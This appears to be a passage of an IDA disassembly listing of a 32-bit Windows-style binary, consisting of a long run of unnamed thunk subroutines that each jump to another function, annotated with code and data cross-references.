; Attributes: thunk
sub_4017DF proc near ; CODE XREF: sub_416220+11p
; ___:00416247p ...
jmp sub_4167F0
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_415A10+3p
; ___:0041626Fp ...
jmp sub_4164A0
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017E9 proc near ; CODE XREF: sub_415600+6Ap
; sub_416030+32p
jmp sub_415F70
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017EE proc near ; CODE XREF: sub_403530+DBp
; sub_404010+3Fp ...
jmp sub_40A800
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: ___:00421EAAp
jmp sub_422470
sub_4017F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017F8 proc near
jmp sub_40B2F0
sub_4017F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: sub_4068E0+205p
jmp sub_41B920
sub_4017FD endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: ___:00427D03p
jmp sub_427D30
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40180C proc near ; CODE XREF: ___:00425F16p
; ___:00425F47p
jmp sub_4257F0
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: sub_41E760+FFp
; sub_41E760+179p ...
jmp sub_421B80
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401816 proc near ; CODE XREF: sub_40A1F0+7p
jmp sub_40A210
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40181B proc near ; CODE XREF: sub_40B510+76p
jmp sub_40B470
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00423F8Dp
; DATA XREF: ___:off_44542Co
jmp sub_425100
sub_401820 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401825 proc near ; CODE XREF: sub_41E760+18Ep
; ___:0043C483j
jmp sub_4219F0
sub_401825 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; DATA XREF: ___:off_43F10Co
jmp sub_428210
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: ___:00416EDFp
jmp sub_417EF0
sub_40182F endp
; ---------------------------------------------------------------------------
jmp loc_42FF10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_41E760+3BCp
; sub_4226B0+3p
jmp sub_421D50
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_427990+90p
jmp sub_427C50
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401843 proc near ; CODE XREF: ___:0042444Dp
; sub_424920+135p
jmp sub_424480
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: sub_40BF20+3p
; ___:0040BFEFp ...
jmp sub_40C160
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: sub_407140+36p
; sub_407140+72p ...
jmp sub_407390
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401852 proc near ; CODE XREF: ___:00413251p
jmp sub_415770
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401857 proc near ; CODE XREF: ___:0040BAB1p
; ___:0040BB78p ...
jmp sub_412B70
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: ___:004332DFp
; ___:004333EFp ...
jmp sub_432E20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; DATA XREF: ___:0043359Ao
; ___:00433700o
jmp sub_432E90
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401866 proc near ; CODE XREF: sub_416460+7p
jmp sub_416840
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: sub_418430+34p
jmp sub_404C70
sub_40186B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401870 proc near ; CODE XREF: sub_403530+7Ap
; sub_403530+9Ep ...
jmp sub_409C20
sub_401870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401875 proc near ; CODE XREF: sub_420630+152p
jmp sub_4208A0
sub_401875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:0041A328p
; sub_41B110+3p ...
jmp sub_41B140
sub_40187A endp
; ---------------------------------------------------------------------------
jmp loc_42B060
; ---------------------------------------------------------------------------
jmp loc_41C1E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:00416B4Bp
; ___:0043B26Cj ...
jmp sub_416E10
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; CODE XREF: sub_410030+217p
; sub_41FE90+4Cp ...
jmp sub_41FE50
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp
jmp sub_429450
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near ; CODE XREF: ___:0042D2F5p
jmp sub_4290B0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; DATA XREF: ___:0043F184o
jmp sub_42B440
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp
jmp sub_41AE30
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near
jmp sub_4341C0
sub_4018A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018AC proc near ; CODE XREF: ___:00414295p
; sub_414E10+1B2p
jmp sub_413E70
sub_4018AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p
jmp sub_40A1F0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp
jmp sub_4204D0
sub_4018B6 endp
; ---------------------------------------------------------------------------
jmp loc_433000
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p
jmp sub_40ACA0
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p
; ___:00414C60p ...
jmp sub_415710
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp
; sub_41A3B0+1B5p
jmp sub_41B060
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CF proc near ; CODE XREF: ___:004323CAp
jmp sub_431D80
sub_4018CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp
jmp sub_419130
sub_4018D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp
; ___:0043B226j ...
jmp sub_4179F0
sub_4018D9 endp
; ---------------------------------------------------------------------------
jmp loc_419ED0
; ---------------------------------------------------------------------------
jmp sub_41A1E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E8 proc near ; CODE XREF: sub_41E760+46p
jmp sub_4219B0
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: ___:0042D425p
jmp sub_42ACB0
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018F2 proc near ; CODE XREF: sub_422230+7p
jmp sub_422620
sub_4018F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p
; sub_422510+18p
jmp sub_422690
sub_4018F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018FC proc near ; CODE XREF: sub_4222B0+8p
jmp sub_422670
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401901 proc near ; CODE XREF: sub_4134A0+43p
; sub_4148A0+4Fp ...
jmp sub_415820
sub_401901 endp
; ---------------------------------------------------------------------------
jmp loc_431D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp
jmp sub_421E50
sub_40190B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401910 proc near ; CODE XREF: sub_4219B0+11p
; sub_421E50+1Fp
jmp sub_421F80
sub_401910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401915 proc near ; CODE XREF: sub_40B470+6Dp
jmp sub_40BE70
sub_401915 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40191A proc near ; CODE XREF: sub_409530+13p
jmp sub_409660
sub_40191A endp
; ---------------------------------------------------------------------------
jmp loc_4378B0
; ---------------------------------------------------------------------------
jmp sub_41B110
; ---------------------------------------------------------------------------
loc_401929: ; DATA XREF: ___:off_43F068o
jmp loc_416DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40192E proc near ; CODE XREF: ___:00413C01p
jmp sub_413A80
sub_40192E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401933 proc near ; CODE XREF: ___:00413263p
; sub_4132F0+32p
jmp sub_4155B0
sub_401933 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: ___:00416C4Bp
; ___:0043B18Cj ...
jmp sub_417120
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_432390
; ---------------------------------------------------------------------------
jmp loc_4347E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401947 proc near ; CODE XREF: sub_41C710+F1p
; sub_41C710+270p ...
jmp sub_420F10
sub_401947 endp
; ---------------------------------------------------------------------------
jmp loc_40A4E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401951 proc near ; CODE XREF: sub_404CC0+283p
; sub_40EE40+D2p ...
jmp sub_40F060
sub_401951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401956 proc near ; CODE XREF: sub_4219F0+34p
; sub_422340+67p
jmp sub_421FD0
sub_401956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p
jmp sub_406730
sub_40195B endp
; ---------------------------------------------------------------------------
jmp loc_433650
; ---------------------------------------------------------------------------
loc_401965: ; DATA XREF: sub_41FD00+39o
jmp loc_41FC30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: ___:0041A29Ep
; sub_41A3B0+Bp ...
jmp sub_41A390
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: ___:0041AC86p
; ___:0041AD66p
jmp sub_41A990
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401974 proc near
jmp sub_419320
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep
; sub_411BE0+3p
jmp sub_411B20
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41E760+F5p
; sub_41E760+16Fp ...
jmp sub_421AA0
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_409530+4p
; sub_4096E0+1Fp ...
jmp sub_4095E0
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near
jmp sub_409B10
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_41F960+20p
; sub_42AD90+37p
jmp sub_41FF50
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap
; ___:00414C0Fp ...
jmp sub_415500
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_40A510+A8p
jmp sub_40A930
sub_401997 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40199C proc near ; CODE XREF: sub_40CC90+41p
jmp sub_40CF40
sub_40199C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A1 proc near ; CODE XREF: ___:004346F5p
; ___:004347F5p
jmp sub_434450
sub_4019A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p
jmp sub_421EF0
sub_4019A6 endp
; ---------------------------------------------------------------------------
jmp loc_42FFE0
; ---------------------------------------------------------------------------
jmp loc_42FFB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp
; sub_40AAD0+91p
jmp sub_40A9F0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422150+23p
; sub_422510+11p
jmp sub_4226B0
sub_4019BA endp
; ---------------------------------------------------------------------------
jmp loc_41AC20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp
; ___:0040408Fp ...
jmp sub_403530
sub_4019C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C9 proc near ; CODE XREF: sub_422850+6p
jmp sub_4228C0
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; DATA XREF: ___:off_43F050o
jmp sub_416D30
sub_4019CE endp
; ---------------------------------------------------------------------------
jmp sub_40FE40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019D8 proc near ; CODE XREF: sub_407460+4p
jmp sub_407590
sub_4019D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: ___:0040B709p
; ___:0040BB26p ...
jmp sub_40B600
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p
; sub_410030+E6Ap
jmp sub_411BE0
sub_4019E2 endp
; ---------------------------------------------------------------------------
jmp loc_433C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp
jmp sub_414710
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o
jmp sub_42CB70
sub_4019F1 endp
; ---------------------------------------------------------------------------
loc_4019F6: ; DATA XREF: ___:off_43F0D0o
jmp loc_41D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_421B10+3p
jmp sub_422030
sub_4019FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A00 proc near ; CODE XREF: ___:00416E8Fp
jmp sub_40B190
sub_401A00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A05 proc near
jmp sub_4133B0
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0A proc near ; CODE XREF: sub_41E760+477p
jmp sub_4201F0
sub_401A0A endp
; ---------------------------------------------------------------------------
jmp loc_421950
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A14 proc near ; DATA XREF: ___:0043F124o
jmp sub_428940
sub_401A14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A19 proc near
jmp sub_411C10
sub_401A19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A1E proc near ; CODE XREF: sub_4344C0+92p
jmp sub_431C30
sub_401A1E endp
; ---------------------------------------------------------------------------
jmp loc_4292B0
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A2D proc near ; CODE XREF: sub_421EF0+32p
jmp sub_422340
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00416BDBp
; sub_416D30+3p ...
jmp sub_416D00
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: ___:00423B04p
; ___:004285E8p ...
jmp sub_420E00
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A3C proc near ; CODE XREF: sub_422310+Ap
jmp sub_422720
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; CODE XREF: ___:00412F9Fp
; ___:00413054p ...
jmp sub_404690
sub_401A41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A46 proc near ; CODE XREF: sub_409530+1Ap
; sub_409610+4p ...
jmp sub_4095A0
sub_401A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A4B proc near ; DATA XREF: ___:off_43F028o
jmp sub_40FE40
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; DATA XREF: ___:0043F0E4o
jmp sub_427990
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: ___:00426475p
jmp sub_426070
sub_401A55 endp
; ---------------------------------------------------------------------------
jmp loc_409E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep
jmp sub_416650
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A64 proc near ; CODE XREF: ___:004305E0p
; sub_4321F0+36p ...
jmp sub_431630
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep
jmp sub_434BF0
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_414A70+3p
jmp sub_414AA0
sub_401A6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A73 proc near ; CODE XREF: ___:00408297p
; ___:00408728p
jmp sub_409570
sub_401A73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A78 proc near ; DATA XREF: ___:0043F0E0o
; ___:0043F0F0o ...
jmp sub_4276C0
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp
jmp sub_42DB00
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_420630+191p
; sub_4228C0+3p ...
jmp sub_4208C0
sub_401A82 endp
; ---------------------------------------------------------------------------
jmp loc_4302E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_4226E0+5p
jmp sub_422850
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00416F4Ap
jmp sub_418200
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A96 proc near ; CODE XREF: sub_407270+5p
; sub_407360+6p ...
jmp sub_4074B0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_403530+90p
; sub_404CC0+40Cp ...
jmp sub_40A780
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp
; sub_41F030+52Fp
jmp sub_41FE90
sub_401AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA5 proc near ; CODE XREF: ___:004330BAp
jmp sub_430B30
sub_401AA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AAA proc near ; CODE XREF: sub_415570+1Fp
jmp sub_415ED0
sub_401AAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AAF proc near ; CODE XREF: sub_403530+E5p
; sub_409F50+Fp ...
jmp sub_409E80
sub_401AAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_432850+17p
; sub_432850+33p
jmp sub_434A00
sub_401AB4 endp
; ---------------------------------------------------------------------------
jmp loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p
; sub_424F70+120p
jmp sub_424E20
sub_401AC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ACD proc near ; DATA XREF: ___:off_43F034o
jmp sub_4120B0
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; DATA XREF: ___:0041FC33o
jmp sub_41FB90
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_407140+Bp
jmp sub_407320
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_433E90
; ---------------------------------------------------------------------------
loc_401AE1: ; DATA XREF: ___:off_43F020o
jmp loc_40B9B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp
; sub_403F30+3Bp ...
jmp sub_403D60
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: sub_4135E0+66p
; sub_4135E0+CAp ...
jmp sub_415740
sub_401AEB endp
; ---------------------------------------------------------------------------
jmp loc_41B880
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AF5 proc near
jmp sub_4228F0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AFA proc near ; CODE XREF: ___:00416C2Bp
; ___:0043B1A8j ...
jmp sub_40B250
sub_401AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AFF proc near ; CODE XREF: ___:00421864p
; ___:0042189Ep
jmp sub_4216D0
sub_401AFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B04 proc near ; CODE XREF: sub_404C30+15p
jmp sub_407140
sub_401B04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo
jmp sub_41A1E0
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:0041700Fp
jmp sub_418A00
sub_401B0E endp
; ---------------------------------------------------------------------------
loc_401B13: ; CODE XREF: ___:00439F76j
jmp loc_40CBD0
; ---------------------------------------------------------------------------
loc_401B18: ; DATA XREF: ___:off_43F16Co
jmp loc_42B060
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B1D proc near ; CODE XREF: sub_4170B0+28p
jmp sub_418990
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B22 proc near ; CODE XREF: ___:00432CD7p
jmp sub_432D10
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: sub_431240+Bp
jmp sub_4316C0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B2C proc near
jmp sub_40AF80
sub_401B2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B31 proc near ; CODE XREF: ___:00418D7Bp
; sub_418F90+28p ...
jmp sub_419050
sub_401B31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o
jmp sub_42C7E0
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: ___:00416B7Bp
; ___:0043B242j ...
jmp sub_417AD0
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B40 proc near ; CODE XREF: ___:004087C7p
; ___:004087E8p ...
jmp sub_4076B0
sub_401B40 endp
; ---------------------------------------------------------------------------
jmp loc_414BC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4A proc near ; CODE XREF: sub_41C710+83p
; ___:004295EFp
jmp sub_41D640
sub_401B4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_41A990+11p
jmp sub_41A9C0
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B54 proc near ; CODE XREF: sub_41E760+339p
jmp sub_421D10
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near ; CODE XREF: sub_414D40+3p
jmp sub_414D70
sub_401B59 endp
; ---------------------------------------------------------------------------
jmp loc_433F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_430D90+29p
jmp sub_430830
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B68 proc near ; CODE XREF: sub_40FE70+38p
; ___:0043A458j
jmp sub_412C90
sub_401B68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B6D proc near
jmp sub_40D660
sub_401B6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp
; sub_407740+43p
jmp sub_40B510
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: sub_407320+3p
jmp sub_4074F0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B7C proc near ; CODE XREF: sub_424920+9Dp
; sub_424920+FBp ...
jmp sub_4246D0
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401B81: ; DATA XREF: ___:off_43F084o
jmp loc_426EC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_410030+413p
; sub_410030+F69p ...
jmp sub_40A040
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:00426764p
jmp sub_4267D0
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B90 proc near ; CODE XREF: sub_422150+32p
jmp sub_422510
sub_401B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p
jmp sub_41A7D0
sub_401B95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_40C040+23p
; sub_40C200+11p
jmp sub_40C3A0
sub_401B9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9F proc near ; CODE XREF: ___:0042CB23p
jmp sub_42CB50
sub_401B9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BA4 proc near
jmp sub_41E240
sub_401BA4 endp
; ---------------------------------------------------------------------------
loc_401BA9: ; DATA XREF: sub_431240+86o
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BAE proc near ; CODE XREF: sub_409610+20p
jmp sub_4096E0
sub_401BAE endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o
jmp sub_40CC90
sub_401BB8 endp
; ---------------------------------------------------------------------------
jmp loc_431CC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp
jmp sub_4220B0
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC7 proc near ; CODE XREF: sub_428810+39p
jmp sub_4283D0
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: sub_415820+5p
; sub_415A30+6p ...
jmp sub_416480
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp
; sub_432A20+3Ep
jmp sub_4317C0
sub_401BD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
